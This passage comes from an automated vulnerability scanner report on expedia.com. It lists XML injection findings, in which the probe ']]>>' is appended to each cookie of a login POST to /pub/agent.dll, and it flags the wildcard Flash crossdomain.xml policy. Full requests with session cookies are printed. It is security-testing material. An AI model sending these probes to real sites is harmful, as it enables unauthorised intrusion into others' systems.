s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.12. https://www.expedia.com/pub/agent.dll [jscript cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The jscript cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the jscript cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1]]>>; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.13. https://www.expedia.com/pub/agent.dll [p1 cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The p1 cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the p1 cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98]]>>; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.14. https://www.expedia.com/pub/agent.dll [s1 cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The s1 cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the s1 cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95]]>>; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.15. https://www.expedia.com/pub/agent.dll [s_sess cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The s_sess cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the s_sess cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B]]>>
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.16. https://www.expedia.com/pub/agent.dll [s_vi cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The s_vi cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the s_vi cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]]]>>; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.17. https://www.expedia.com/pub/agent.dll [srvys cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The srvys cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the srvys cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0]]>>; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

4. Flash cross-domain policy previous next
There are 2 instances of this issue:

http://www.expedia.com/crossdomain.xml
https://www.expedia.com/crossdomain.xml

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

4.1. http://www.expedia.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.expedia.com

Response

HTTP/1.0 200 OK
Content-Length: 1950
Content-Type: text/xml
Last-Modified: Tue, 27 Apr 2010 20:20:24 GMT
Accept-Ranges: bytes
ETag: "0b4401147e6ca1:0"
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Date: Fri, 06 May 2011 22:33:31 GMT
Connection: close

...<?xml version="1.0" ?>
<!DOCTYPE cross-domain-policy>
<cross-domain-policy>
<allow-access-from domain="*.expedia.ca" secure="true" />
<allow-access-from domain="*.expedia.co.uk" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="content.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="ads.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="media.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.au" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.jp" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.de" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.fr" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.it" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.nl" secure="true" />
...[SNIP]...
<allow-access-from domain=" www.expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.hotels.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.hotwire.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.tripadvisor.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte.ca" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte1.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte4.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte5.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte7.com" secure="true" />
...[SNIP]...
<allow-access-from domain="labadssrv01" secure="true" />
...[SNIP]...
<allow-access-from domain="labadsol01" secure="true" />
...[SNIP]...
<allow-access-from domain="10.95.1.5" secure="true" />
...[SNIP]...
<allow-access-from domain="belwaweb01" secure="true" />
...[SNIP]...
<allow-access-from domain="*.unicast.com" secure="true" />
...[SNIP]...

4.2. https://www.expedia.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.expedia.com

Response

HTTP/1.0 200 OK
Content-Length: 1950
Content-Type: text/xml
Last-Modified: Tue, 27 Apr 2010 20:20:24 GMT
Accept-Ranges: bytes
ETag: "0b4401147e6ca1:0"
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Date: Fri, 06 May 2011 22:40:52 GMT
Connection: close

...<?xml version="1.0" ?>
<!DOCTYPE cross-domain-policy>
<cross-domain-policy>
<allow-access-from domain="*.expedia.ca" secure="true" />
<allow-access-from domain="*.expedia.co.uk" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="content.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="ads.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="media.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.au" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.jp" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.de" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.fr" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.it" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.nl" secure="true" />
...[SNIP]...
<allow-access-from domain=" www.expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.hotels.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.hotwire.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.tripadvisor.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte.ca" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte1.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte4.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte5.com" secure="true" />
